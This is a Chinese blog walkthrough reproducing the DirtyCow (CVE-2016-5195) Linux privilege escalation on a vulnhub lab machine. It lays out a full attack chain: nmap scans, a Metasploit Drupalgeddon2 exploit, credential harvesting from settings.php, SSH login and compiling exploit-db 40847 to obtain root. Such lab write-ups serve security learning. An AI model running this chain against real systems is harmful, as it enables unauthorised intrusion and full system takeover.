DirtyCow脏牛漏洞复现(CVE-2016-5195)

news2024/11/19 2:45:48

DirtyCow脏牛漏洞复现

本文以vulnhub靶场中的lampiao为例复现脏牛提权漏洞

扫描c段

nmap -sS -Pn 192.168.1.0/24

找到疑似ip

在这里插入图片描述

对该ip端口进行扫描,多扫出个1898端口

nmap -A -sV -p- 192.168.1.13

在这里插入图片描述

访问80端口,没有有用的信息

在这里插入图片描述

1898也是个apche的http服务器,直接访问,是Drupal建站的

在这里插入图片描述

msf或搜索引擎查找漏洞

在这里插入图片描述

使用这个模块

use exploit/unix/webapp/drupal_drupalgeddon2

options查看需要配置的参数有两个

set rhost 192.168.1.13
set rport 1898

直接run,拿到meterpreter

在这里插入图片描述

上传linux漏洞检测脚本

https://github.com/mzet-/linux-exploit-suggester

upload /root/Attack/linux/linux-exploit-suggester.sh /tmp/666.sh

在这里插入图片描述

运行脚本

cd /tmp
chmod +x 666.sh
./666.sh

扫到一大堆洞,但主要就想复现下脏牛dirtycow,其他部分都是常规的信息收集渗透。

脏牛漏洞影响的范围从内核2.6.22开始2007年,一直到2016年10月进行Linux内核维护的Greg Kroah-Hartman宣布针对Linux 4.8、4.7和4.4LTS内核系列的维护更新(更新后为Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修复了该漏洞

脏牛漏洞是 Linux 内核经典漏洞,内核内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

在这里插入图片描述

可以用exp也可以用msf

https://github.com/firefart/dirtycow/blob/master/dirty.c

先要ssh登录才能打

ls /home

找到用户
在这里插入图片描述

cat /var/www/html/sites/default/settings.php

找到了mysql的密码
在这里插入图片描述

用这两个成功登录

ssh tiago@192.168.1.13

在这里插入图片描述

找脚本

searchsploit dirty

在这里插入图片描述

定位脚本的具体位置

locate linux/local/40847.cpp

在这里插入图片描述

通过msf上传到靶机

upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp

在这里插入图片描述

编译脚本

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o 40847 gcc生成的目标文件,名字为40847

得到root的密码
在这里插入图片描述

ssh登录root
在这里插入图片描述

拿到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/11259.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

立足小餐饮,“新名酒”江小白能走多远?

(图片来源于网络,侵删) 来源 | 螳螂观察 文 | 叶小安 白酒市场从不缺新故事,但一直缺年轻人喜欢的白酒。 上月底,江小白旗下江记酒庄获重庆市江津区华信集团10亿元战略投资。与此同时,江小白产品理念升…

技术贴 | Rocksdb 中 Memtable 源码解析

一、什么是 Memtable? Memtable 是 Rocksdb 在内存中保存数据的一种数据结构,一个 Memtable 的容量是固定的,在 Memtable 写满后,会转换为 Immutable Memtable,Immutable Memtable 中的数据会 Flush 到 SST File 中。…

编程中老生常谈的【编码规范】你还记得多少?进来回顾一下吧【文末送书】

🎬 博客主页:https://xiaoy.blog.csdn.net 🎥 本文由 呆呆敲代码的小Y 原创,首发于 CSDN🙉 🎄 学习专栏推荐:Unity精品学习专栏 🌲 游戏制作专栏推荐:游戏制作分享 &…

【genius_platform软件平台开发】第八十一讲:ARM Neon指令集一(ARM NEON Intrinsics, SIMD运算, 优化心得)

1. ARM Neon Intrinsics 编程 1.入门:基本能上手写Intrinsics 1.1 Neon介绍、简明案例与编程惯例 1.2 如何检索Intrinsics 1.3 优化效果案例 1.4 如何在Android应用Neon 2. 进阶:注意细节处理,学习常用算子的实现 2.1 与Neon相关的ARM体系结…

寻 友 软 件

寻友软件项目技术技术功能部署Redis部署RocketMQJWT(Json Web Token)虹软人脸识别部署MongoDB(尽量不用docker部署mongo)部署Nginx过滤器及拦截器加缓存编码流程DOC接口文档bug技术 技术 前端: flutterandroid环信S…

分销微信小程序介绍_分销小程序有什么作用呢

不同的微商城系统对于分销功能的支持会有不要的叫法,一般来说主要有两种,一种是基于商品分享的分销方式,通过分享链接识别客户从属关系,订单完成,结算佣金;另一种分销商可以建立并独立运营一个分销店铺&…

【JavaSE】关于多态那些事儿

目录 1. 多态 1.1 多态的概念 1.2 多态实现条件 1.3 向上转型 1.3.1 直接赋值 1.3.2 方法传参 1.3.3 方法返回 1.3.4 向上转型的优缺点 1.4 重写 1.4.1 重写的条件 1.4.2 重写注意事项 1.4.3 重载与重写的区别 1.5 通过父类的引用,调用这个父类和子类重…

CSS篇十六——盒子模型之边框

目录一、CSS盒子模型1.1 盒子模型组成1.2 边框(border)1.2.1 语法格式1.2.2 边框样式 border-style1.2.3 代码示例1.3 表格的细线边框1.3.1 语法格式、代码示例及结果一、CSS盒子模型 网页布局过程: 1.先准备好相关的网页元素,网…

My sql的深度剖析

一.数据库的创建、删除、使用 数据库的创建:create database 数据库名 数据库的删除:drop database 数据库名; 数据库的使用:use数据名; 所有数据库的查看:show databases; 建立数据时如何指定字符集…

在Java中计算Levenshtein莱文斯坦(相似度)编辑距离

在本教程中,我们将研究 Levenshtein 距离算法,该算法也称为编辑距离算法,用于比较单词的相似性。 什么是列文施泰因距离 Levenshtein距离算法由俄罗斯科学家Vladimir Levenshtein创建。 Levenshtein 距离算法通过计算将一个字符串转换为另…

基于单片机的贪吃蛇设计

1 绪论 1.1 设计目的 在21世纪的今天,人们的生活开始变得更加丰富多彩。在繁忙的工作之余,娱乐成为人们生活不可或缺的一份子,而游戏作为近年来逐渐兴起的一种娱乐方式,已经越来越受到人们的青睐。在工作学习之余&#…

dreamweaver网页设计作业制作 学生NBA篮球网页 WEB静态网页作业模板 大学生校园篮球网页代码 dw个人网页作业成品

🎉精彩专栏推荐 💭文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业: 【📚毕设项目精品实战案例 (10…

第五章:双指针与离散化的映射

第五章:双指针、离散化、二进制运算与区间合并一、双指针1、什么是双指针?2、双指针的模板3、双指针例题(1)思路:(2)解答:C版:C版:二、离散化1、什么是离散化…

java面试强基(3)

重载和重写的区别? 重载 发生在同一个类中,方法名必须相同,参数类型不同、个数不同、顺序不同,方法返回值和访问修饰符可以不同。 重载就是同一个类中多个同名方法根据不同的传参来执行不同的逻辑处理。 重写 重写发生在运行期,…

go语言基本环境搭建

下载地址 Go官网下载地址:https://studygolang.com/dl 一、下载对应电脑得安装包 二、下载完成点击安装下一步(选择目录尽量简单) 三、是否安装成功 四、环境变量 GOROOT和GOPATH都是环境变量,其中GOROOT是我们安装go开发包的路…

【计算机毕业设计】Springboot医疗管理系统源码

一、系统截图(需要演示视频可以私聊) 摘 要 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 医疗服务系统,主要的模块包括查看管理员;首页、个人中心…

tomcat官网下载配置全部详细步骤(包含各种报错解决办法)

前言: 名字由来:翻译是野猫,tomcat的作者初衷是希望这个软件可以自力更生,自给自足。不依赖其他插件,独立达到提供web服务的效果 1.tocat和java的关系? tomcat是用Java语言编写的,需要运行在…

大三,请问现在自学Java还来得及吗?

前言 如果还在为入门Java晚而发愁时间够不够,首先你是准备自学,那么我们可以看看现在网络上一些比较热门的Java全体系的学习需要化多长时间,先拿B站上做的比较好的黑马教程和尚硅谷举例: 2022黑马程序员Java学习路线图​www.bili…

耗时半月,终于把牛客网软件测试面试八股文,整理成了文档资料.....

一、面试基础题 简述测试流程: 1、阅读相关技术文档(如产品PRD、UI设计、产品流程图等)。 2、参加需求评审会议。 3、根据最终确定的需求文档编写测试计划。 4、编写测试用例(等价类划分法、边界值分析法等)。 5、用例评审(…

飞象星球落地重庆云阳86所学校,县乡4万学生迎来素质课堂

猜生字笔画顺序、学习硬笔书法;跟随老师认识情绪、写下心里话……自从重庆云阳县86所中小学引入飞象星球双师素质课堂,4万多名县城和乡村孩子的课后素质课堂一下子变得丰富多彩起来。 图:洞鹿小学双河村校上双师素质书法课 云阳县地处三峡库…